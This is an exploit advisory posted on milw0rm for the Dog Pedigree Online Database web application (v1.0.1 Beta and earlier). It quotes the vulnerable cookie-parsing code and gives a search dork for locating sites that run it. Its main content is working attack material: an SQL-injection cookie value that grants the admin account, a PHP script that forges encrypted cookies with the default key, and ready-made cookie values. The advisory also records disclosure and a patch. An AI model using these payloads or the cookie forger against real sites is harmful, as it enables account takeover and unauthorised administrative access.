229 lines
No EOL
6.9 KiB
Text
229 lines
No EOL
6.9 KiB
Text
***********************************************************************************************
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***********************************************************************************************
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** **
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** **
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** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
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** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
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** [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
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** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
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**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
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** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
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[> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] **
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** **
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** **
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** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O **
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** ¡PROUD TO BE SPANISH! **
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** **
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***********************************************************************************************
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***********************************************************************************************
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----------------------------------------------------------------------------------------------
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| INSECURE COOKIE HANDLING VULNERABILITIES |
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|--------------------------------------------------------------------------------------------|
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| | Dog Pedigree Online Database v1.0.1-Beta | |
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| CMS INFORMATION: ------------------------------------------------- |
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| |
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|-->WEB: http://thewhippetarchives.net/twa_is_offline.php |
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|-->DOWNLOAD: http://sourceforge.net/projects/dogarchive |
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|-->DEMO: N/A |
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|-->CATEGORY: Genealogy |
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|-->DESCRIPTION: This project allows to setup and maintain a database for |
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| collecting (dog) pedigrees. The data will actually be collected... |
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|-->RELEASED: 2009-01-25 |
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| CMS VULNERABILITY: |
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| |
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|-->TESTED ON: firefox 3 |
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|-->DORK: inurl:"printable_pedigree.php" |
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|-->CATEGORY: COOKIE AUTH-BYPASS (SQLi) / INSECURE COOKIE HANDLING |
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|-->AFFECT VERSION: <= 1.0.1 Beta |
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|-->Discovered Bug date: 2009-05-08 |
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|-->Reported Bug date: 2009-05-08 |
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|-->Fixed bug date: 2009-05-12 |
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|-->Info patch (v1.0.2): http://sourceforge.net/projects/dogarchive/ |
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|-->Author: YEnH4ckEr |
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|-->mail: y3nh4ck3r[at]gmail[dot]com |
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|-->WEB/BLOG: N/A |
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|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. |
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|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
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----------------------------------------------------------------------------------------------
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#######
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///////
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INTRO:
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///////
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#######
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Cookie name --> it could be configured, but any web change it.
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Cookie protection --> Active by default, but some Webs use it and other neither (Because it needs php_mcrypt extension).
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With cookie protection --> Any web change the $COOKIE_KEY value. Always by default
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###########################
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///////////////////////////
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COOKIE AUTH-BYPASS (SQLi):
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///////////////////////////
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###########################
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-----------
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VULN FILE:
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-----------
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Path --> [HOME_PATH]/php_users/htdocs/
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File --> users.php.inc
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Vuln function --> init()
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function init() {
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....
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$cookie = $_COOKIE[$USER_COOKIE];
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if (isset($COOKIE_KEY)) {
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$iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB), MCRYPT_RAND);
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$cookie = mcrypt_decrypt(MCRYPT_BLOWFISH, $COOKIE_KEY, base64_decode($cookie), MCRYPT_MODE_ECB, $iv);
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}
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$cookie = rtrim($cookie);
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$a = split('&', $cookie);
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$i = 0;
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while ($i < count($a)) {
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$b = split ('=', $a[$i]);
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$key = urldecode($b[0]);
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$value = urldecode($b[1]);
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$this->{$key} = $value;
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$i++;
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}
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$this->id = $this->{'uid'};
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}
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...
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---------
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EXPLOIT:
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---------
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1.-WITHOUT ENCRYPTION:
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Add cookie --> Name ~> dogarchive_user_info
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--> Value ~> email=&uid=-1%20or%201=1#&seclev=
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2.-WITH ENCRYPTION:
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Add cookie --> Name ~> dogarchive_user_info
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--> Value ~> Ffq9xizFlqX%2FLFytv2XsUILuolhabq3%2BN5A0%2B3ifmNdjLEIqh%2BKIXA%3D%3D
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Return --> Admin account.
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##########################
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//////////////////////////
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INSECURE COOKIE HANDLING:
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//////////////////////////
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##########################
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<<<<-------+++++++++ Condition: Search e-mail and uid (it's not difficult) ++++++++++--------->>>>
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------
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NOTE:
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------
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Use an cookie builder (need php_mcrypt extension)
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to encrypt the cookie value:
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<?php
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//Configure [real_email] and [real_uid] with your target
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$COOKIE_KEY="somethingRAndoM9871234whateveryoulike"; //user.conf by default
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$cookie="email=".urlencode('[real_email]')."&uid=[real_uid]&seclev=1";
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$iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB), MCRYPT_RAND);
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$cookie = base64_encode(mcrypt_encrypt (MCRYPT_BLOWFISH, $COOKIE_KEY, $cookie, MCRYPT_MODE_ECB, $iv));
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print "Cookie crypted-urlencode -->".urlencode($cookie)."\n";
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?>
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-----
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PoC:
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-----
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1.-WITHOUT ENCRYPTION:
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Add cookie --> Name ~> dogarchive_user_info
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--> Value ~> email=[real_email]&uid=[real_uid]&seclev=1
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2.-WITH ENCRYPTION:
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Add cookie --> Name ~> dogarchive_user_info
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--> Value ~> Use PHP script above
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---------
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EXPLOIT:
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---------
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1.-WITHOUT ENCRYPTION:
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Add cookie --> Name ~> dogarchive_user_info
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--> Value ~> email=y3nh4ck3r@gmail.com&uid=2422&seclev=1
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2.-WITH ENCRYPTION:
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Add cookie --> Name ~> dogarchive_user_info
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--> Value ~> 7O%2By0gnSt4KItondpdwQThDciQY6aR3QfFGEvZQzUGQWNkYwIUI4lfiZ1WQgnEc%2B
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<<<-----------------------------EOF---------------------------------->>>ENJOY IT!
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#######################################################################
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#######################################################################
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##*******************************************************************##
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## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##
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##*******************************************************************##
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##-------------------------------------------------------------------##
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##*******************************************************************##
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## GREETZ TO: JosS, Ulises2k, J.McCray and Spanish Hack3Rs community!##
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##*******************************************************************##
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#######################################################################
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#######################################################################
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# milw0rm.com [2009-05-19] |